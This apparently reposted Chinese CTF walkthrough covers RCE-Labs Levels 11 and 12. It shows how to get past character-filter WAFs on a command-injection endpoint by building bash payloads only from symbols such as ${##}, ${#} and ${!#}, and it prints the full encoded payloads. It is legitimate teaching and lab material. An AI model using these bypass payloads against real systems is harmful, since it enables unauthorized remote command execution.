当前位置: 首页 > news >正文

RCE-Labs超详细WP-Level11Level12(0/1的特殊替换)

Level 11

分析源码

  • 主要关注 preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^|]/", $cmd)` 过滤字符的变化
  • 发现比起上一关, 这一关可以使用的数字只有 0
  • 归纳一下, 能用的字符有
    • #, $, (, ), 0, <, \, {, }

解题分析

  • 而没有了 1, 怎么表示二进制呢?
  • 这个时候就需要使用间接扩展特性中的${#xxx}, 它用于表示变量 xxx 存储的字符串长度
    • sh-5.1# a=1
      sh-5.1# echo ${#a}
      1
      
  • 而前几关提到 ${#}代表传递给当前脚本的参数个数, 虽说他没有办法作为 1 使用, 但是 # 可以作为变量, 而其存储的 0 的长度为 1
    sh-5.1# echo $#
    0
    sh-5.1# echo ${##}
    1
    
    • 所以我们只需要把上关的 Paylaod 中的 1, 全部换为 ${##} 即可
    • 上关的Payload为
      $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
      
    • 替换后为
      $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
      

解题步骤

  • 似乎出题人察觉到了, GET请求的最大长度已经不满足于现在的Payload了(后面查了一下, 发现其实距离超出限制还远远不到)
  • 所以这一关采用了 POST 请求(应该是省的URL转换吧)
  • 当然也就不在需要使用 URL编码 了

请添加图片描述

Level 12

源码分析

  • 这一关并未给出源码
    • 似乎是因为本关考察点在 PHP 的 system 中并不支持
    • 所以在 Python 的 Flask 环境下使用subprocess模块来执行命令
    • 并给我们一个虚拟终端
  • 不过还是告诉了 WAF 是什么
    "WAF:[A-Za-z0-9"%*+,-.\/:;=>?@[\]^`|&_~]"
    
  • 也就是说这一关中, 任何一个数字都使用不了了
  • 不过以下几个符号还是可以使用的
    ! # $ ' ( ) < \ { }
    

解题分析

  • 这里就要使用间接扩展特性中的${!xxx}, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值
    • sh-5.1# a=0
      sh-5.1# echo ${!a}
      /bin/sh
      
    • ${!a} 就相当于 $0
    • 这样就找到 $0 代替 bash 的平替了
  • 然后 ${#} 为传递给当前脚本的参数个数, 也就是 0
  • 现在就可以把上一关的 Payload 拿来修改了
    $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
    
  • 修改后
    ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
    

解题步骤

  • 既然给我们了UI界面, 那直接使用输入Payload就行了
  • 请添加图片描述

相关文章:

  • 安装操作系统ubuntu-20.04.6-live-server-amd64
  • Facebook 的框架及技术栈
  • FFmpeg —— 各系统下ffmpeg硬件加速和API支持情况(文内表格形式详细阐述)
  • 【MySQL基础-4】关系型数据库设计中的范式:从基础到高级
  • 【2025最新】phpMyAdmin渗透利用全链路:信息收集→漏洞探测→后渗透提权技巧
  • RCE-Labs超详细WP-Level9
  • tomato靶场通关攻略
  • C++编译问题——1模板函数的实现必须在头文件中
  • 生成式AI+安全:API防护的“进化革命”——从被动防御到智能对抗的技术跃迁
  • 得物 Android Crash 治理实践
  • Vim忍者速成秘卷:让你的键盘冒出残影の奥义
  • 鸿蒙OS开发ForEach循环渲染
  • qt中再函数中开辟的内存,要不要手动释放?
  • 实现图形界面访问无显示器服务器
  • 【面试】JVM
  • 侯捷C++课程学习笔记:详解多态(五)
  • 【后端】【django drf】django自动导出优雅的api文档的写法
  • easy-poi导出and导入一对多数据excel
  • 基于深度学习的多模态人脸情绪识别研究与实现(视频+图像+语音)
  • mov格式视频如何转换mp4?
  • “复旦源”一源六馆焕新启幕,设立文化发展基金首期1亿元
  • 首映|《星际宝贝史迪奇》真人电影,不变的“欧哈纳”
  • 高瓴、景林旗下公司美股持仓揭晓:双双增持中概股
  • 牛市早报|持续推进城市更新行动意见印发,证监会强化上市公司募资监管
  • 美将解除对叙利亚制裁,外交部:中方一贯反对非法单边制裁
  • 因存在安全隐患,福特公司召回约27.4万辆SUV